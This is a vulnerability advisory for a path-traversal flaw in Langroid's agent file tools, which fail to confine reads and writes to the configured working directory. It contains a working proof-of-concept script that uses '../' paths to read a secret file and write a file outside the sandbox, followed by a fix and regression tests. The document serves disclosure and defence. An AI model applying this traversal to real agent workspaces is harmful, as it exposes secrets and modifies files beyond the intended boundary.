PT-2026-55462 · Pypi · Langroid
Published
2026-07-02
·
Updated
2026-07-02
·
CVE-2026-50181
CVSS v3.1
7.1
High
| Vector | AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
Summary
Langroid's
ReadFileTool and WriteFileTool appear to treat curr dir as the intended working-directory boundary for file operations. However, the tools only change the process working directory to curr dir and then operate on the user-supplied file path without resolving and enforcing that the final path remains inside curr dir.As a result, a tool caller can supply path traversal sequences such as
../secret.txt to read files outside the configured current directory, or ../written by tool.txt to write files outside that directory.This can impact applications that expose Langroid file tools to an LLM agent, user-controlled tool call, or delegated coding/documentation agent while relying on
curr dir to restrict file access to a project/workspace directory.Details
Affected components:
langroid/agent/tools/file tools.pylangroid/utils/system.py
Relevant behavior observed:
ReadFileTool contains a comment indicating the intended assumption:text
# ASSUME: file path should be relative to the curr dir
The tool then changes into the configured current directory and calls read file(self.file path).
WriteFileTool similarly resolves curr dir, changes into that directory, and calls create file(self.file path, self.content).
The issue is that changing the process working directory does not prevent traversal. A path such as ../secret.txt is still valid and resolves outside the configured curr dir.
In local testing, ReadFileTool successfully read a file outside the configured sandbox directory, and WriteFileTool successfully wrote a file outside the configured sandbox directory.
PoC
Tested locally against the current Langroid repository checkout.
Environment:
Python 3.12
Langroid installed in editable mode with pip install -e .
PoC script:
from pathlib import Path
from tempfile import TemporaryDirectory
import os
os.environ["docker"] = "false"
os.environ["DOCKER"] = "false"
from langroid.agent.tools.file tools import ReadFileTool, WriteFileTool
class DummyIndex:
def add(self, files):
print("dummy git add:", files)
def commit(self, message):
print("dummy git commit:", message)
class DummyRepo:
index = DummyIndex()
with TemporaryDirectory() as root:
base = Path(root)
sandbox = base / "sandbox"
sandbox.mkdir()
secret = base / "secret.txt"
secret.write text("LANGROID TOOL ESCAPE PROOF", encoding="utf-8")
ReadSandbox = ReadFileTool.create(get curr dir=lambda: sandbox)
read tool = ReadSandbox(file path="../secret.txt")
print("READ TOOL RESULT:")
print(read tool.handle())
WriteSandbox = WriteFileTool.create(
get curr dir=lambda: sandbox,
get git repo=lambda: DummyRepo(),
)
write tool = WriteSandbox(
file path="../written by tool.txt",
content="WRITTEN BY LANGROID TOOL",
language="text",
)
print("WRITE TOOL RESULT:")
print(write tool.handle())
outside = base / "written by tool.txt"
print("outside exists:", outside.exists())
print("outside content:", outside.read text(encoding="utf-8"))
Observed output:
READ TOOL RESULT:
CONTENTS of ../secret.txt:
(Line numbers added for reference only!)
---------------------------
1: LANGROID TOOL ESCAPE PROOF
WRITE TOOL RESULT:
Content created/updated in: ..written by tool.txt
dummy git add: ['../written by tool.txt']
dummy git commit: Agent write file tool
Content written to ../written by tool.txt and committed
outside exists: True
outside content: WRITTEN BY LANGROID TOOL
This demonstrates that both read and write operations can escape the configured curr dir using ../ traversal.
Impact
If an application enables Langroid's file tools and treats curr dir as a project, workspace, repository, or sandbox boundary, a tool caller can escape that boundary.
Potential impact includes:
Reading files outside the intended workspace.
Writing files outside the intended workspace.
Exposing local secrets, configuration files, source files, environment files, or other project-adjacent files.
Modifying files outside the intended project directory if WriteFileTool is enabled.
This is especially relevant in agentic workflows where an LLM or external user can influence tool arguments.
This report does not claim unauthenticated remote exploitation by default. The impact depends on how an application exposes Langroid file tools and whether curr dir is intended to restrict file access.
Suggested remediation
Before reading, writing, or listing files, resolve the configured base directory and the requested target path, then reject any path that escapes the base directory.
Example patch pattern:
from pathlib import Path
def safe join(base dir: str | Path, user path: str | Path) -> Path:
base = Path(base dir).resolve()
target = (base / user path).resolve()
if target != base and base not in target.parents:
raise ValueError("Path escapes configured current directory")
return target
Then use the resolved safe path for ReadFileTool, WriteFileTool, and ListDirTool.
Suggested regression tests:
ReadFileTool(file path="../secret.txt") should be rejected.
WriteFileTool(file path="../outside.txt") should be rejected.
Absolute paths outside curr dir should be rejected.
Symlink-based escapes should be rejected after final path resolution.
Normal relative paths inside curr dir, such as src/main.py, should continue to work.
[Langroid CVE Report.pdf](https://github.com/user-attachments/files/28333958/Langroid.CVE.Report.pdf)Fix
Path traversal
Relative Path Traversal
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Langroid